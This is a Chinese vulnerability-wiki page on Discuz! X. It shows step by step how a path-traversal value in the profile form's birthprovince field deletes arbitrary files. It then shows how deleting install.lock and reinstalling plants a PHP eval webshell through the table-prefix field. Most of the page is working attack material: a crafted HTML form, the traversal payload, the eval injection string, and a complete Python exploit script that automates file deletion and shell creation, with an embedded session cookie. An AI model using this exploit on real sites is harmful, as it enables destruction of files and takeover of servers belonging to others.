免费、自由、人人可编辑的漏洞库--pwnwiki.com
,
获得用户Hash
在个人资料页面 -> 审查元素 -> 搜索formhash
400px
漏洞利用
发送请求（XXXXXX表示Hash）
home.php?mod=spacecp&ac=profile&op=base POST birthprovince=../../../test.txt&profilesubmit=1&formhash=XXXXXX
- 也可以使用Burp抓包，在birthprovince处加入
../../../test.txt
修改成功之后出生地就会变为../../../test.txt
400px
构造表单：
<form action="http://192.168.1.101/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" value="../../../theTestFile.txt"/> <input type="hidden" name="formhash" value="XXXXXX"/> <input type="hidden" name="profilesubmit" value="1"/> <input type="submit" value="Submit"/> </from>
选择随便一张图片上传，点击submit，可以发现原本的theTestFile.txt已经被删除。
Getshell
首先构造payload删除install.lock
如果用户没有删除 install 目录，而且我们也可以利用文件删除漏洞的话，我们就可以删掉这个 instal.lock，然后重新安装 Discuz。而重装过程中一般都有写配置文件的步骤，可能会给我们写入一句话的机会。
x');@eval($_POSTpwd);('
config/uc_config.php文件中将存在一句话木马。
Getshell EXP
#!/usr/bin/env python3
import base64
import random
import re
import string
import requests
sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################
path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path
sess.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': url})
# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})
def login(username=None, password=None):
sess.headers.update({'Cookie': cookie})
def get_form_hash():
r = sess.get(url)
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
if match:
return match.group(1)
def tamper(formhash, file_to_delete):
data = {
'formhash': (None, formhash),
'profilesubmit': (None, 'true'),
'birthprovince': (None, file_to_delete)
}
r = sess.post(url, files=data)
if 'parent.show_success' in r.text:
print('tamperred successfully')
return True
def delete(formhash, file):
if not tamper(formhash, file):
return False
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
data = {
'formhash': formhash,
'profilesubmit': 'true'
}
files = {
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
}
r = sess.post(url, data=data, files=files)
if 'parent.show_success' in r.text:
print('delete {} successfully'.format(file))
return True
def getshell():
install_url = target + '/install/index.php'
r = sess.get(install_url)
if '安装向导' not in r.text:
print('install directory not exists')
return False
table_prefix = "x');@eval($_POST{});('".format(shell_password)
data = {
'step': 3,
'install_ucenter': 'yes',
'dbinfodbhost': db_host,
'dbinfodbname': db_name,
'dbinfodbuser': db_user,
'dbinfodbpw': db_pw,
'dbinfotablepre': table_prefix,
'dbinfoadminemail': 'email protected',
'admininfousername': 'admin',
'admininfopassword': 'admin',
'admininfopassword2': 'admin',
'admininfoemail': 'email protected',
}
r = sess.post(install_url, data=data)
if '建立数据表 CREATE TABLE' not in r.text:
print('write shell failed')
return False
print('shell: {}/config/config_ucenter.php'.format(target))
print('password: {}'.format(shell_password))
if __name__ == '__main__':
login()
form_hash = get_form_hash()
if form_hash:
delete(form_hash, '../../../data/install.lock')
getshell()
else:
print('failed')
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